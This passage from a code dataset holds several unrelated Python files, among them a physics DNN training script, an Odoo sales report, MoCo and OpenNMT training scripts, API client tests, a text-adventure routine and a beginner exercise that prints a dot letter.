range(0,pHH_HH.shape[0]):\n\t\t\tif pHH_HH[i] > x and Z_HH[i]*1e-3 < 130 and Z_HH[i]*1e-3 > 120 and B_HH[i]*1e-3 < 140 and B_HH[i]*1e-3 > 90:\n\t\t\t\tsumW_sig = sumW_sig+W_HH[i]*4\n\t\t\t\tsumW_sig_unc = sumW_sig_unc+(W_HH[i]*4*W_HH[i]*4)\n\n\t\tfor i in range(0,pttH_HH.shape[0]):\n\t\t\tif pttH_HH[i] > x and Z_ttH[i]*1e-3 < 130 and Z_ttH[i]*1e-3 > 120 and B_ttH[i]*1e-3 < 140 and B_ttH[i]*1e-3 > 90:\n\t\t\t\tsumW_bkg = sumW_bkg+W_ttH[i]*4\n\t\t\t\tt += W_ttH[i]*4\n\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(W_ttH[i]*4*W_ttH[i]*4)\n\t\t\t\t\n\n\t\tfor i in range(0,pZH_HH.shape[0]):\n\t\t\tif pZH_HH[i] > x and (Z_ZH[i]*1e-3 < 130 and Z_ZH[i]*1e-3 > 120) and (B_ZH[i]*1e-3 < 140 and B_ZH[i]*1e-3 > 90):\n\t\t\t\tsumW_bkg = sumW_bkg+W_ZH[i]*4\n\t\t\t\tz += W_ZH[i]*4\n\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(W_ZH[i]*4*W_ZH[i]*4)\n\t\t\t\t\t\n\t\t\t\n\t\tfor i in range(0,pJJ_HH.shape[0]):\n\t\t\tif pJJ_HH[i] > x and (Z_JJ[i]*1e-3 < 130 and Z_JJ[i]*1e-3 > 120) and (B_JJ[i]*1e-3 < 140 and B_JJ[i]*1e-3 > 90):\n\t\t\t\tsumW_bkg = sumW_bkg+W_JJ[i]*4\n\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(W_JJ[i]*4*W_JJ[i]*4)\n\t\t\t\tif (Z_JJ[i]*1e-3 < 127 and Z_JJ[i]*1e-3 > 123):\n\t\t\t\t\tsumW_bkg_cut = sumW_bkg_cut + W_JJ[i]*4\n\t\t\t\t\n\t\t\t\t\n\t\tif sumW_bkg < 0.001 or sumW_bkg_cut < .8:\n\t\t\tbreak;\n\n\t\tsumW_sig_unc = math.sqrt(sumW_sig_unc)\n\t\tsumW_bkg_unc = math.sqrt(sumW_bkg_unc)\n\t\tZ = math.sqrt( 2*( (sumW_sig+sumW_bkg)*math.log(1+(sumW_sig/sumW_bkg)) - sumW_sig ) )\n\t\tif Z < 0.001:\n\t\t\tbreak;\n\t\tl=math.log(1+(sumW_sig/sumW_bkg));\n\n\t\tdZds = l/Z;\n\t\tdZdb = (l-sumW_sig/sumW_bkg)/Z;\n\n\t\tdZ=math.sqrt(dZds*dZds * sumW_sig_unc*sumW_sig_unc + dZdb*dZdb * sumW_bkg_unc*sumW_bkg_unc);\n \n\t\tSig.append(Z)\n\t\tdSig.append(dZ)\n\t\tXX.append(x)\n\n\t\tprint('X : %.3f , Z : %.3f , S : %.3f, B : %.3f' % (x,Z,sumW_sig,sumW_bkg))\n\n\t\tif Z > Z_max:\n\t\t\tZ_max = Z\n\t\t\tdZ_max = dZ\n\t\t\tcut = x\n\t\t\tS = sumW_sig\n\t\t\tB = sumW_bkg_cut\n\t\t\tT = t; Zh = z\n\n\tZ0 = np.ones(len(XX))*Sig[0];\n\n\tprint('Z Maximum Z : %.3f +/- %.3f for category : %i Cut : %.3f : Z0 : %.3f' %(Z_max, dZ_max, cat, cut, Sig[0]) )\n\tprint(' S : %.3f , JJ : %.3f ' % (S,B))\n\tprint(' ttH : %.3f , ZH : %.3f' % (T,Zh))\n\treturn Z_max, Sig\n\ndef plot_Z_CutBased(HH,ttH,ZH,JJ,cat):\n\n\tScale_HH = [4., 4., 4., 4., 4.]; # SM\n\t#Scale_HH = [3.984, 4.006, 3.912, 4.005, 3.993]; # +6\n\t#Scale_HH = [4.014, 3.970, 4.081, 4.086, 4.008]; # +4\n\t#Scale_HH = [4.119, 3.870, 4.018, 3.972, 3.984]; # +2\n\t#Scale_HH = [3.876, 4.040, 3.991, 4.100, 4.038]; # -1\n\t#Scale_HH = [4.124, 4.056, 3.989, 3.981, 4.007]; # 0\n\t#Scale_HH = [4.065, 3.982, 3.891, 4.117, 4.031]; # -2\n\t#Scale_HH = [4.010, 4.069, 3.937, 3.963, 3.998]; # -4\n\t#Scale_HH = [3.849, 3.968, 4.110, 4.004, 3.980]; # -6\n\tScale_ZH = [4., 4., 4., 4., 4.];\n\tScale_ttH = [4., 4., 4., 4., 4.];\n\tScale_JJ = [4., 4., 4., 4., 4.]; \n\n\tpHH_HH = HH[:,0]\n\tpttH_HH = ttH[:,0]\n\tpZH_HH = ZH[:,0]\n\tpJJ_HH = JJ[:,0]\n\n\tX = np.linspace(0., .99, 100)\n\tSig = []\n\tdSig = []\n\tXX = []\n\t\n\tZ_max = 0;\n\tdZ_max = 0;\n\tcut = 0;\n\tfor x in X:\n\t\tsumW_sig_unc = 0\n\t\tsumW_bkg_unc = 0\n\t\tsumW_jj_unc = 0\n\t\tsumW_sig = 0\n\t\tsumW_bkg = 0\n\t\tsumW_jj = 0\n\t\tfor i in range(0,pHH_HH.shape[0]):\n\t\t\tif pHH_HH[i] > x and (data.Z_HH[i]*1e-3 < 130 and data.Z_HH[i]*1e-3 > 120):\n\t\t\t\tif cat == 5 and data.M_HH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_sig = sumW_sig+data.W_HH[i]*Scale_HH[cat-1]\n\t\t\t\t\tsumW_sig_unc = sumW_sig_unc+(data.W_HH[i]*Scale_HH[cat-1]*data.W_HH[i]*Scale_HH[cat-1])\n\t\t\t\telif data.C_HH[i] >= cat and data.M_HH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_sig = sumW_sig+data.W_HH[i]*Scale_HH[cat-1]\n\t\t\t\t\tsumW_sig_unc = sumW_sig_unc+(data.W_HH[i]*Scale_HH[cat-1]*data.W_HH[i]*Scale_HH[cat-1])\n\n\t\tfor i in range(0,pttH_HH.shape[0]):\n\t\t\tif pttH_HH[i] > x and (data.Z_ttH[i]*1e-3 < 130 and data.Z_ttH[i]*1e-3 > 120):\n\t\t\t\tif cat == 5 and data.M_ttH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_bkg = sumW_bkg+data.W_ttH[i]*Scale_ttH[cat-1]\n\t\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(data.W_ttH[i]*Scale_ttH[cat-1]*data.W_ttH[i]*Scale_ttH[cat-1])\n\t\t\t\telif data.C_ttH[i] >= cat and data.M_ttH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_bkg = sumW_bkg+data.W_ttH[i]*Scale_ttH[cat-1]\n\t\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(data.W_ttH[i]*Scale_ttH[cat-1]*data.W_ttH[i]*Scale_ttH[cat-1])\n\n\t\tfor i in range(0,pZH_HH.shape[0]):\n\t\t\tif pZH_HH[i] > x and (data.Z_ZH[i]*1e-3 < 130 and data.Z_ZH[i]*1e-3 > 120):\n\t\t\t\tif cat == 5 and data.M_ZH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_bkg = sumW_bkg+data.W_ZH[i]*Scale_ZH[cat-1]\n\t\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(data.W_ZH[i]*Scale_ZH[cat-1]*data.W_ZH[i]*Scale_ZH[cat-1])\n\t\t\t\telif data.C_ZH[i] >= cat and data.M_ZH[i]*1e-3 > 350:\n\t\t\t\t\tsumW_bkg = sumW_bkg+data.W_ZH[i]*Scale_ZH[cat-1]\n\t\t\t\t\tsumW_bkg_unc = sumW_bkg_unc+(data.W_ZH[i]*Scale_ZH[cat-1]*data.W_ZH[i]*Scale_ZH[cat-1])\t\t\n\t\t\t\n\t\tfor i in range(0,pJJ_HH.shape[0]):\n\t\t\tif pJJ_HH[i] > x and (data.Z_JJ[i]*1e-3 < 160 and data.Z_JJ[i]*1e-3 > 105):\n\t\t\t\tif cat == 5 and data.M_JJ[i]*1e-3 > 350:\n\t\t\t\t\tsumW_jj = sumW_jj+data.W_JJ[i]*Scale_JJ[cat-1]*10./55.\n\t\t\t\t\tsumW_jj_unc = sumW_jj_unc+(data.W_JJ[i]*Scale_JJ[cat-1]*10./55.*data.W_JJ[i]*Scale_JJ[cat-1]*10./55.)\n\t\t\t\telif data.C_JJ[i] >= cat and data.M_JJ[i]*1e-3 > 350:\n\t\t\t\t\tsumW_jj = sumW_jj+data.W_JJ[i]*Scale_JJ[cat-1]*10./55.\n\t\t\t\t\tsumW_jj_unc = sumW_jj_unc+(data.W_JJ[i]*Scale_JJ[cat-1]*10./55.*data.W_JJ[i]*Scale_JJ[cat-1]*10./55.)\n\t\t\t\t\n\t\tif sumW_jj < 2.:\n\t\t\tcontinue;\n\t\tsumW_bkg_unc = sumW_bkg_unc+sumW_jj_unc\n\t\tsumW_bkg = sumW_bkg+sumW_jj\n\t\tsumW_sig_unc = math.sqrt(sumW_sig_unc)\n\t\tsumW_bkg_unc = math.sqrt(sumW_bkg_unc)\n\t\t\n\t\tZ = math.sqrt( 2*( (sumW_sig+sumW_bkg)*math.log(1+(sumW_sig/sumW_bkg)) - sumW_sig))\n\t\t#print(Z,x)\n\t\tif Z < 0.001:\n\t\t\tcontinue;\n\t\tl=math.log(1+(sumW_sig/sumW_bkg));\n\n\t\tdZds = l/Z;\n\t\tdZdb = (l-sumW_sig/sumW_bkg)/Z;\n\n\t\tdZ=math.sqrt(dZds*dZds * sumW_sig_unc*sumW_sig_unc + dZdb*dZdb * sumW_bkg_unc*sumW_bkg_unc);\n \n\t\tSig.append(Z)\n\t\tdSig.append(dZ)\n\t\tXX.append(x)\n\n\t\tif Z > Z_max:\n\t\t\tZ_max = Z\n\t\t\tdZ_max = dZ\n\t\t\tcut = x\n\n\tprint('On CutBased : Z Maximum Z : %.3f +/- %.3f for category : %i Cut : %.3f : Z0 : %.3f' %(Z_max, dZ_max, cat, cut, 0.36) )\n\treturn Z_max, Sig\n\ndef compute_Loss(y_true, y_pred):\n\n\treturn keras.losses.categorical_crossentropy(y_true, y_pred)\n\t\t\ndef main():\n\t\"\"\"\n\tThe main function of train_DNN\n\t\"\"\"\n\targs = getArgs();\n\tnoutput = int(args.noutput)\n\tdropout_rate = float(args.dropout_rate)\n\tlearning_rate = float(args.learning_rate)\n\tnepochs = int(args.nepochs)\n\tbatch_size = int(args.batch_size)\n\tn_neurons = int(args.nerouns)\n\t\n\tfor i in range(0,1):\n\t\thistory = train(nepochs,noutput,dropout_rate,learning_rate,batch_size,n_neurons)\n\n\t\tn_inputs = data.X_Train.shape[1];\n\t\tclf = Classifier('DNN_Classifier',n_inputs,noutput,dropout_rate,n_neurons).Sequential\n\t\tadm = optimizers.Adam(lr=learning_rate)\n\t\tclf.compile(loss='categorical_crossentropy', optimizer=adm, metrics=['categorical_accuracy']);\n\t\tclf.load_weights('weights/best.weights')\n\n\t\tHH = clf.predict(data.X_HH)\n\t\tttH = clf.predict(data.X_ttH)\n\t\tZH = clf.predict(data.X_ZH)\n\t\tJJ = clf.predict(data.X_JJ)\n\n\t\ty_pred = clf.predict(data.X_Test);\n\n\t\tcm = confusion_matrix(np.argmax(data.Y_Test, axis=1), np.argmax(y_pred, axis=1));\n\n\n\t\tcm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n\t\tprint(cm)\n\n\t\tpHH = Sim(HH[:,0], HH[:,1], HH[:,2], HH[:,3])\n\t\tpttH = Sim(ttH[:,0], ttH[:,1], ttH[:,2], ttH[:,3])\n\t\tpZH = Sim(ZH[:,0], ZH[:,1], ZH[:,2], ZH[:,3])\n\t\tpJJ = Sim(JJ[:,0], JJ[:,1], JJ[:,2], JJ[:,3])\n\n\t\tZ_max, Z = plot_Z(pHH,pttH,pZH,pJJ,5)\n\t\t\n\t\tdirname = \"SM_model_Mbb_LO_2btag77\"\n\n\t\tif not os.path.exists(dirname):\n\t\t\tos.mkdir(dirname)\n\n\t\tclf_json = clf.to_json()\n\t\twith open(dirname+\"/\"+dirname+\".json\", \"w\") as json_file:\n \t\t\tjson_file.write(clf_json)\n\t\tclf.save_weights(dirname+\"/\"+dirname+\".h5\")\n\n\t\tplot_confusion_matrix(cm,np.asarray(['HH','ttH','ZH','JJ']), normalize=True,title='Normalized confusion matrix',dirc=dirname)\n\n\t\tplt.figure()\n\t\tplt.hist(HH[:,0], 50, histtype='step', density='True')\n\t\tplt.hist(ttH[:,0],50, histtype='step', density='True')\n\t\tplt.hist(ZH[:,0], 50, histtype='step', density='True')\n\t\tplt.hist(JJ[:,0], 50, histtype='step', density='True')\n\t\tplt.yscale('log')\n\t\tplt.xlabel('pHH')\n\t\tplt.ylabel('Event / 0.02')\n\t\tplt.legend(['HH','ttH','ZH','JJ'])\n\t\tplt.savefig(dirname+'/pHH.png')\n\t\tplt.close()\n\n\n\t\tplt.figure()\n\n\t\tplt.hist(pHH, 50, histtype='step', density='True', weights= data.W_HH)\n\t\tplt.hist(pttH,50, histtype='step', density='True', weights= data.W_ttH)\n\t\tplt.hist(pZH, 50, histtype='step', density='True', weights= data.W_ZH)\n\t\tplt.hist(pJJ, 50, histtype='step', density='True', weights= data.W_JJ)\n\t\tplt.yscale('log')\n\t\tplt.xlabel('DHH')\n\t\tplt.ylabel('Event / 0.02')\n\t\tplt.legend(['HH','ttH','ZH','JJ'])\n\t\tplt.savefig(dirname+'/SigpHH.png')\n\n\t\tval_loss = np.asarray(history.history['val_loss']);\n\t\ttrain_loss = np.asarray(history.history['loss']);\n\t\tval_acc = np.asarray(history.history['val_categorical_accuracy']);\n\t\ttrain_acc = np.asarray(history.history['categorical_accuracy']);\n\n\t\tY_Val_prob = clf.predict_proba(data.X_Val)\n\t\tplot_roc_curve(data.Y_Val, Y_Val_prob,dirname)\n\t\t\n\t\tplot_model_history(history,dirname)\n\t\tnp.save(dirname+'/val_loss.npy',val_loss);\n\t\tnp.save(dirname+'/train_loss.npy',train_loss);\n\t\tnp.save(dirname+'/val_acc.npy',val_acc);\n\t\tnp.save(dirname+'/train_acc.npy',train_acc);\n\t\tnp.save(dirname+'/Z.npy',Z);\n\n\t\texit()\n\n\t\tclf_json = clf.to_json()\n\t\twith open(dirname+\"/SM_model.json\", \"w\") as json_file:\n \t\t\tjson_file.write(clf_json)\n\t\tclf.save_weights(dirname+\"/SM_model.h5\")\n\n\t\tplt.figure()\n\n\n\t\tdel clf;\n\n\ndef Sim(X,Y,Z,W):\n\n\ta = [math.log(X[i]*8.8111e-5/(Y[i]*0.00114975+Z[i]*0.00172452+W[i]*51.823)) for i in range(0,X.shape[0])]\n\n\t#a = [math.log(X[i]*0.000480766/(Y[i]*0.00114975+Z[i]*0.00172452+W[i]*51.823)) for i in range(0,X.shape[0])]\n\n\treturn a\n\nif __name__== '__main__':\n\tmain()\n\t\n","sub_path":"Train/train_SM.py","file_name":"train_SM.py","file_ext":"py","file_size_in_byte":17983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"560460008","text":"from file_parser import parse, getRoom\nfrom io_defs import takeInput\n\n\ndef secondFloor(player, startroomstr):\n \"\"\"\n Function taking character object through the second floor rooms\n\n :param player: Character object, see char_def\n :param startroomstr: List of 3 ints, starting coordinates\n :return: Character object, see char_def\n \"\"\"\n file = open('floor_files/secondfloor.txt', 'r') # parses file to generate rooms\n labrooms = parse(file)\n file.close()\n firstroom = getRoom(startroomstr, labrooms) \n \n player.setPos(firstroom) # puts player in first room\n \n end = False\n while not end: # keeps offering inputs for nav\n current = player.getPos() # current room\n \n if not current.enter: # checks if room has been entered before\n current.entered()\n print('\\n')\n else:\n if current.getCoords() != [1, 2, 1]:\n current.switchToAlt()\n print('\\n')\n print(\"You have been in this room before.\")\n \n if (current.getCoords() == [1, 2, 1]) and ('rope' in player.getInv()): # end condition\n current.switchToAlt()\n current.addToExits('s')\n result = takeInput(current, player)\n if result == [1, 1, 1]:\n end = True # escape from loop\n print(\"You rappel down the drop...\")\n \n else:\n newroom = getRoom(result, labrooms)\n player.setPos(newroom)\n else: \n result = takeInput(current, player) # eventual loop to new position\n newroom = getRoom(result, labrooms)\n player.setPos(newroom)\n \n return player # when floor is complete\n","sub_path":"old-versions/second_floor.py","file_name":"second_floor.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"364706504","text":"\n\nfrom xai.brain.wordbase.nouns._braggart import _BRAGGART\n\n#calss header\nclass _BRAGGARTS(_BRAGGART, ):\n\tdef __init__(self,): \n\t\t_BRAGGART.__init__(self)\n\t\tself.name = \"BRAGGARTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"braggart\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_braggarts.py","file_name":"_braggarts.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"516241073","text":"# -*- coding: utf-8 -*-\nimport time\nfrom openerp.osv import osv\nfrom openerp.report import report_sxw\n\n\nclass makemyday_payment_report(report_sxw.rml_parse):\n\n def __init__(self, cr, uid, name, context):\n super(makemyday_payment_report, self).__init__(cr, uid, name, context=context)\n self.total = 0.0\n self.localcontext.update({\n 'time': time,\n 'makemyday_payment': self._makemyday_payment,\n 'makemyday_payment_total':self._makemyday_payment_total,\n })\n\n def _makemyday_payment(self, obj):\n self.total = 0\n data={}\n sql = \"\"\" select id from makemyday_order where id = %d\"\"\"%(obj.id)\n self.cr.execute(sql)\n if self.cr.fetchone():\n self.cr.execute (\"select pt.name,pp.default_code as code,pol.qty,pu.name as uom,pol.discount,pol.price_unit, \" \\\n \"(pol.price_unit * pol.qty * (1 - (pol.discount) / 100.0)) as total \" \\\n \"from makemyday_order as po,makemyday_order_line as pol,product_product as pp,product_template as pt, product_uom as pu \" \\\n \"where pt.id=pp.product_tmpl_id and pp.id=pol.product_id and po.id = pol.order_id and pu.id=pt.uom_id \" \\\n \"and po.state IN ('paid','invoiced') and to_char(date_trunc('day',po.date_order),'YYYY-MM-DD')::date = current_date and po.id=%d\"%(obj.id))\n data=self.cr.dictfetchall()\n else:\n self.cr.execute (\"select pt.name,pp.default_code as code,pol.qty,pu.name as uom,pol.discount,pol.price_unit, \" \\\n \"(pol.price_unit * pol.qty * (1 - (pol.discount) / 100.0)) as total \" \\\n \"from makemyday_order as po,makemyday_order_line as pol,product_product as pp,product_template as pt, product_uom as pu \" \\\n \"where pt.id=pp.product_tmpl_id and pp.id=pol.product_id and po.id = pol.order_id and pu.id=pt.uom_id \" \\\n \"and po.state IN ('paid','invoiced') and to_char(date_trunc('day',po.date_order),'YYYY-MM-DD')::date = current_date\")\n data=self.cr.dictfetchall()\n\n for d in data:\n self.total += d['price_unit'] * d['qty']\n return data\n\n def _makemyday_payment_total(self, o):\n return self.total\n\n\nclass report_makemyday_payment(osv.AbstractModel):\n _name = 'report.point_of_sale.report_payment'\n _inherit = 'report.abstract_report'\n _template = 'point_of_sale.report_payment'\n _wrapped_report_class = makemyday_payment_report\n","sub_path":"point_of_sale/report/makemyday_payment_report.py","file_name":"makemyday_payment_report.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"145686276","text":"import subprocess\n\ndef main():\n\ttrain_length = 50000\n\tvalid_length = 20000\n\ttest_length = 5000\n\tno_stops = True\n\tmin_length = 6\n\tmax_length = 14\n\tfor noise in [None, 0.05, 0.1, 0.2]:\n\t\ttrain_src = '{}.wiki.no_stops={}.noise={}.Train.{}-{}_min-max.input.txt'.format(train_length, no_stops, noise, min_length, max_length)\n\t\ttrain_tgt = '{}.wiki.no_stops={}.noise={}.Train.{}-{}_min-max.output.txt'.format(train_length, no_stops, noise, min_length, max_length)\n\n\t\tvalid_src = '{}.wiki.no_stops={}.noise={}.Valid.{}-{}_min-max.input.txt'.format(valid_length, no_stops, noise, min_length, max_length)\n\t\tvalid_tgt = '{}.wiki.no_stops={}.noise={}.Valid.{}-{}_min-max.output.txt'.format(valid_length, no_stops, noise, min_length, max_length)\n\n\t\tsave_data = 'data/{}.wiki.no_stops={}.noise={}.{}-{}_min-max.'.format(train_length, no_stops, noise, min_length, max_length)\n\t\tmodel = 'models/{}.minmaxsize={}-{}.wiki.no_stops={}.noise={}'.format(train_length, min_length, max_length, no_stops, noise)\n\t\tcheckpoint = 80000\n\t\tcheckpoint_file = 'models/{}.minmaxsize={}-{}.wiki.no_stops={}.noise={}_step_{}.pt'.format(train_length, min_length, max_length, no_stops, noise, checkpoint)\n\t\t\n\t\ttest_src = '{}.wiki.no_stops={}.noise={}.Test.{}-{}_min-max.input.txt'.format(test_length, no_stops, noise, min_length, max_length)\n\t\ttest_system_out = 'output/{}.wiki.no_stops={}.noise={}.Test.{}-{}_min-max.{}_steps.system.output.txt'.format(test_length, no_stops, noise, min_length, max_length, checkpoint)\n\t\t\n\t\t# preprocess = ['python3', 'preprocess.py', '-train_src', train_src, '-train_tgt', train_tgt, '-valid_src', valid_src, '-valid_tgt', valid_tgt, '-save_data', save_data, '-src_seq_length', '10000', '-tgt_seq_length', '10000', '-src_seq_length_trunc', '100', '-tgt_seq_length_trunc', '100', '-dynamic_dict', '-share_vocab', '-shard_size', '10000']\t\n\t\t# subprocess.check_call(preprocess)\n\t\t\n\t\t# train = ['python3', 'train.py', '-save_model', model, '-data', save_data, '-copy_attn', '-global_attention', 'mlp', '-word_vec_size', '128', '-rnn_size', '512', '-layers', '1', '-encoder_type', 'brnn', '-train_steps', '100000', '-max_grad_norm', '2', '-dropout', '0.', '-batch_size', '16', '-valid_batch_size', '16', '-optim', 'adagrad', '-learning_rate', '0.15', '-adagrad_accumulator_init', '0.1', '-reuse_copy_attn', '-copy_loss_by_seqlength', '-bridge', '-seed', '777', '-copy_attn_force', '-coverage_attn', '-lambda_coverage', '1', '-save_checkpoint_steps', '20000', '-valid_steps', '20000']\n\t\t# subprocess.check_call(train)\n\t\t\n\t\ttest = ['python3', 'translate.py', '-verbose', '-batch_size', '40', '-beam_size', '10', '-model', checkpoint_file, '-src', test_src, '-output', test_system_out, '-min_length', '5', '-stepwise_penalty', '-coverage_penalty', 'summary', '-beta', '5', '-length_penalty', 'wu', '-alpha', '0.9', '-block_ngram_repeat', '3']\n\t\tsubprocess.check_call(test)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"central.py","file_name":"central.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"335705478","text":"import json\n\nfrom track import category\n\n\ndef test_create(mocker):\n post = mocker.patch(\"requests.post\")\n\n category.create(host=\"abc\", name=\"def\", description=\"ghi\")\n\n post.assert_called_once_with(\n \"http://abc/api/categories/\",\n data={\"name\": \"def\", \"description\": \"ghi\"},\n )\n\n\ndef test_get(mocker):\n get = mocker.patch(\"requests.get\")\n get.return_value.json.return_value = {\"foo\": \"bar\"}\n\n result = category.get(host=\"abc\", name=\"def\")\n\n get.assert_called_once_with(\"http://abc/api/categories/def/\")\n assert result == json.dumps({\"foo\": \"bar\"}, indent=2)\n\n\ndef test_delete(mocker):\n delete = mocker.patch(\"requests.delete\")\n\n category.delete(host=\"abc\", name=\"def\")\n\n delete.assert_called_once_with(\"http://abc/api/categories/def/\")\n\n\ndef test_list(mocker):\n get = mocker.patch(\"requests.get\")\n get.return_value.json.return_value = {\"results\": [{\"name\": \"foo\"}]}\n\n result = category.list(host=\"abc\")\n\n get.assert_called_once_with(\"http://abc/api/categories/\")\n assert result == [\"foo\"]\n\n\ndef test_update_name(mocker):\n patch = mocker.patch(\"requests.patch\")\n\n category.update(host=\"abc\", name=\"def\", new_name=\"ghi\")\n\n patch.assert_called_once_with(\n \"http://abc/api/categories/def/\", data={\"name\": \"ghi\"}\n )\n\n\ndef test_update_description(mocker):\n patch = mocker.patch(\"requests.patch\")\n\n category.update(host=\"abc\", name=\"def\", description=\"ghi\")\n\n patch.assert_called_once_with(\n \"http://abc/api/categories/def/\", data={\"description\": \"ghi\"}\n )\n","sub_path":"tests/test_categories.py","file_name":"test_categories.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"159835479","text":"import argparse\nimport tensorflow as tf\n\nfrom pprint import pprint as pp\nfrom misc.utils import str_to_bool\nfrom misc.tf_utils import check_tf_version, allow_memory_growth, split_gpu_for_testing\nfrom datasets.imagenet import get_dataset, augmentation_v1, augmentation_v2\n\nfrom moco import MoCo\n\n\ndef main():\n # check tensorflow version\n cur_tf_ver = check_tf_version()\n\n # global program arguments parser\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('--allow_memory_growth', type=str_to_bool, nargs='?', const=True, default=False)\n parser.add_argument('--debug_split_gpu', type=str_to_bool, nargs='?', const=True, default=True)\n parser.add_argument('--use_tf_function', type=str_to_bool, nargs='?', const=True, default=True)\n parser.add_argument('--name', default='test', type=str)\n parser.add_argument('--tfds_data_dir', default='/mnt/vision-nas/data-sets/tensorflow_datasets', type=str)\n parser.add_argument('--model_base_dir', default='./models', type=str)\n parser.add_argument('--moco_version', default=2, type=int)\n parser.add_argument('--aug_op', default='GPU', type=str)\n parser.add_argument('--batch_size_per_replica', default=8, type=int)\n parser.add_argument('--epochs', default=200, type=int)\n parser.add_argument('--initial_lr', default=0.03, type=float)\n args = vars(parser.parse_args())\n\n # check args\n assert args['moco_version'] in [1, 2]\n\n # GPU environment settings\n if args['allow_memory_growth']:\n allow_memory_growth()\n if args['debug_split_gpu']:\n split_gpu_for_testing()\n\n # default values\n dataset_n_images = {'train': 1281167, 'validation': 50000}\n w_decay = 0.0001\n if args['moco_version'] == 1:\n moco_params = {\n 'base_encoder': 'resnet50',\n 'network_params': {\n 'input_shape': [224, 224, 3],\n 'dim': 128,\n 'K': 65536,\n 'm': 0.999,\n 'T': 0.07,\n 'mlp': False,\n 'w_decay': w_decay,\n },\n 'learning_rate': {\n 'schedule': 'step',\n 'initial_lr': args['initial_lr'],\n 'lr_decay': 0.1,\n 'lr_decay_boundaries': [120, 160],\n }\n }\n else:\n moco_params = {\n 'base_encoder': 'resnet50',\n 'network_params': {\n 'input_shape': [224, 224, 3],\n 'dim': 128,\n 'K': 65536,\n 'm': 0.999,\n 'T': 0.2,\n 'mlp': True,\n 'w_decay': w_decay,\n },\n 'learning_rate': {\n 'schedule': 'cos',\n 'initial_lr': args['initial_lr'],\n }\n }\n res = moco_params['network_params']['input_shape'][0]\n\n # select proper image augmentation function\n if args['aug_op'] == 'GPU':\n aug_fn = augmentation_v1 if args['moco_version'] == 1 else augmentation_v2\n else:\n aug_fn = None\n\n # prepare distribute training\n strategy = tf.distribute.MirroredStrategy()\n global_batch_size = args['batch_size_per_replica'] * strategy.num_replicas_in_sync\n\n # training parameters\n training_parameters = {\n # global params\n 'cur_tf_ver': cur_tf_ver,\n 'name': f'{args[\"name\"]}_moco_v{args[\"moco_version\"]}',\n 'use_tf_function': args['use_tf_function'],\n 'model_base_dir': args['model_base_dir'],\n 'aug_fn': aug_fn,\n 'res': res,\n\n # moco params\n 'moco_version': args['moco_version'],\n **moco_params,\n\n # training params\n 'n_images': dataset_n_images['train'] * args['epochs'],\n 'epochs': args['epochs'],\n 'batch_size_per_replica': args['batch_size_per_replica'],\n 'global_batch_size': global_batch_size,\n }\n\n # print current details\n pp(training_parameters)\n\n # load dataset\n dataset = get_dataset(args['tfds_data_dir'], is_training=True, res=res, moco_ver=args['moco_version'],\n aug_op=args['aug_op'], batch_size=global_batch_size)\n\n # create MoCo instance\n moco = MoCo(training_parameters, strategy)\n\n with strategy.scope():\n # distribute dataset\n dist_dataset = strategy.experimental_distribute_dataset(dataset)\n\n # start training\n print('Training...')\n moco.train(dist_dataset, strategy)\n return\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"201891268","text":"#演習課題\r\n'''\r\n「リストの中身を1行ずつ表示してみよう」\r\n右のコードエリアには、「A」という文字が、leter_Aという2次元リストで定義されています。\r\nこのリストから要素を順に取り出して、ドットで文字を出力してください。\r\nこの時、要素が1だったら「@」(半角アットマーク)、ゼロだったら「 」(半角スペース)を出力します。\r\n\r\nプログラムを実行して、正しく出力されれば演習課題クリアです!\r\n\r\n期待する出力値\r\n\r\n @@ \r\n @ @\r\n@ @\r\n@@@@@@\r\n@ @\r\n@ @\r\n'''\r\n# ドットで文字を出力しよう\r\n\r\nletter_A = [[0,0,1,1,0,0],\r\n [0,1,0,0,1,0],\r\n [1,0,0,0,0,1],\r\n [1,1,1,1,1,1],\r\n [1,0,0,0,0,1],\r\n [1,0,0,0,0,1]]\r\n\r\n# ここに、ドットを表示するコードを記述する\r\nfor line in letter_A:\r\n for dot in line:\r\n if dot == 1:\r\n print(\"@\",end=\"\")\r\n else:\r\n print(\" \",end=\"\")\r\n print()\r\n","sub_path":"6-7-1 演習問題、ドット絵を表示する.py","file_name":"6-7-1 演習問題、ドット絵を表示する.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"461254172","text":"# -*- coding: utf-8 -*-\n# © 2017 Pharmadus I.T.\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\nfrom openerp import models, fields, api\n\n\nclass BomMemberOf(models.TransientModel):\n _name = 'bom.member.of'\n _inherits = {'product.product': 